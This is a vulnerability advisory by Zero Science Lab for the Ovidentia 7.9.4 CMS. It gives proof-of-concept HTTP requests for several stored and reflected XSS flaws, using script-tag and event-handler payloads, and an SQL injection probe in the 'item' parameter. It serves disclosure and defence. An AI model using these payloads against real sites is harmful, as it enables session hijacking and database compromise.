? Ovidentia 7.9.4 Multiple Remote Vulnerabilities Vendor: Cantico Product web page: http://www.ovidentia.org Affected version: 7.9.4 Summary: Ovidentia is both a content management system (CMS) and a collaborative environment (Groupware). Desc: Input passed via several parameters is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and HTML/script code in a user's browser session in context of an affected site. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5154 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5154.php 08.08.2013 --- ============================================================ #1 - Stored XSS ------------------------------------------------------------ POST http://localhost/ovidentia/index.php HTTP/1.1 tg users idx Create pos A grp widget_filepicker_job_uid[] 52154a53cc0de user[nickname] "><script>alert(1);</script> user[password1] pass123 user[password2] pass123 user[notifyuser] 0 user[sendpwd] 0 user[sn] Testingusio user[mn] M user[givenname] Testa user[email] "><script>alert(2);</script> ============================================================ #2 - Stored XSS ------------------------------------------------------------ POST http://localhost/ovidentia/index.php HTTP/1.1 user[id] 2 tg user idx Modify item 2 pos grp widget_filepicker_job_uid[] 52154bde9410a user[nickname] test user[setpwd] 0 user[password1] user[password2] user[sendpwd] 0 user[sn] "><script>alert(3);</script> user[mn] M user[givenname] "><script>alert(4);</script> user[email] lab@zeroscience.mk GET http://localhost/ovidentia/index.php?tg=user&idx=Modify&item=2&pos=&grp= HTTP/1.1 ============================================================ #3 - Stored XSS ------------------------------------------------------------ POST http://localhost/ovidentia/index.php HTTP/1.1 Submit2 Update idx modify item 1 ovmldetail "><script>alert(5);</script> ovmlembedded "><script>alert(6);</script> tg admoc update ovmldb ============================================================ #4 - Reflected XSSs ------------------------------------------------------------ GET http://localhost/ovidentia/index.php?tg=users&bupd="><script>alert(7);</script> HTTP/1.1 GET http://localhost/ovidentia/index.php?tg=addon/widgets/groups&idx=get&id_parent="><script>alert(8);</script>&uid=widget_acl99&levels=2&id_delegation=0 GET http://localhost/ovidentia/index.php?tg=admoc&idx=addoc&item="><script>alert(9);</script> HTTP/1.1 GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A"><script>alert(10);</script>&grp=&sSearchText= HTTP/1.1 GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A&grp=&sSearchText="><script>alert(11);</script> HTTP/1.1 GET http://localhost/ovidentia/index.php?tg=admfm&idx=modify&fid=1"><script>alert(12);</script> HTTP/1.1 GET http://localhost/ovidentia/index.php?idx=options&tg=calopt&urla=javascript:prompt(13); HTTP/1.1 GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1_</script><script>prompt(14)</script>&iIdProject=-1&tg=usrTskMgr GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1&iIdProject=0_</script><script>prompt(15)</script>&tg=usrTskMgr GET http://localhost/ovidentia/index.php?ids=1"onmouseover=prompt(16)>&idx=hpriv&tg=topman ============================================================ #5 - SQL Injection ------------------------------------------------------------ GET http://localhost/ovidentia/index.php?tg=admoc&idx=octypes&action=delete_type&item=1%27&entitytype=2